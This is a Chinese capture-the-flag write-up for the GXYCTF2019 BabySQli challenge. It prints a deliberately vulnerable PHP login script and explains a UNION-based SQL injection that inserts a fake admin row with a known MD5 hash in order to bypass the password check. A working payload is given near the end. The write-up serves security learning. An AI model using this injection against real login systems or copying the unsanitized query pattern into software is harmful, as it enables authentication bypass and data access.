[GXYCTF2019]BabySQli 1利用联合查询插入数据
时间:2021-07-01 10:21:17
帮助过:36人阅读
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
2 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
3 <title>
Do you know who am I?</title>
4 <?
php
5 require "config.php"
;
6 require "flag.php"
;
7
8 // 去除转义
9 if (
get_magic_quotes_gpc()) {
10 function stripslashes_deep(
$value)
11 {
12 $value =
is_array(
$value) ?
13 array_map(‘stripslashes_deep‘,
$value) :
14 stripslashes(
$value);
15 return $value;
16 }
17
18 $_POST =
array_map(‘stripslashes_deep‘,
$_POST);
19 $_GET =
array_map(‘stripslashes_deep‘,
$_GET);
20 $_COOKIE =
array_map(‘stripslashes_deep‘,
$_COOKIE);
21 $_REQUEST =
array_map(‘stripslashes_deep‘,
$_REQUEST);
22 }
23
24 mysqli_query(
$con,‘SET NAMES UTF8‘
);
25 $name =
$_POST[‘name‘
];
26 $password =
$_POST[‘pw‘
];
27 $t_pw =
md5(
$password);
28 $sql = "select * from user where username = ‘".
$name."‘"
;
29 // echo $sql;
30 $result =
mysqli_query(
$con,
$sql);
31
32
33 if(
preg_match("/\(|\)|\=|or/",
$name)){
34 die("do not hack me!"
);
35 }
36 else{
37 if (!
$result) {
38 printf("Error: %s\n",
mysqli_error(
$con));
39 exit();
40 }
41 else{
42 // echo ‘<pre>‘;
43 $arr =
mysqli_fetch_row(
$result);
44 // print_r($arr);
45 if(
$arr[1] == "admin"
){
46 if(
md5(
$password) ==
$arr[2
]){
47 echo $flag;
48 }
49 else{
50 die("wrong pass!"
);
51 }
52 }
53 else{
54 die("wrong user!"
);
55 }
56 }
57 }
58
59 ?>
经过审计看出,关键代码部分
if(preg_match("/\(|\)|\=|or/", $name))//过滤了小括号,or,和等号。
$name = $_POST[‘name‘];
$password = $_POST[‘pw‘];
$sql = "select * from user where username = ‘".$name."‘";
$result = mysqli_query($con, $sql);
后端接收了账号密码后,居然是直接用接收到的账号作为查询条件进行查询的,查询出来的第二项结果如果不为admin就会die,也就是说输入的账号必须为admin,随后对比admin这行的密码与输入密码是否相等
密码储存方式为md5加密后的密码。
利用联合查询临时插入数据:
select * from user where uname=‘zhangge‘ union select ‘1‘,‘2‘,‘3‘;
此时查询结果出了zhangge那一行,还会多出一行联合查询的字段,作为数据临时插入。
利用这个特性,首先随便选一个密码例如1,md5加密后用它作为临时密码插入。
构造payload:
name=zhangge‘union select 1,‘admin‘,‘c4ca4238a0b923820dcc509a6f75849b‘#&pw=1
[GXYCTF2019]BabySQli 1利用联合查询插入数据
标签:mat cti 代码 mysq 审计 val turn wrong rgb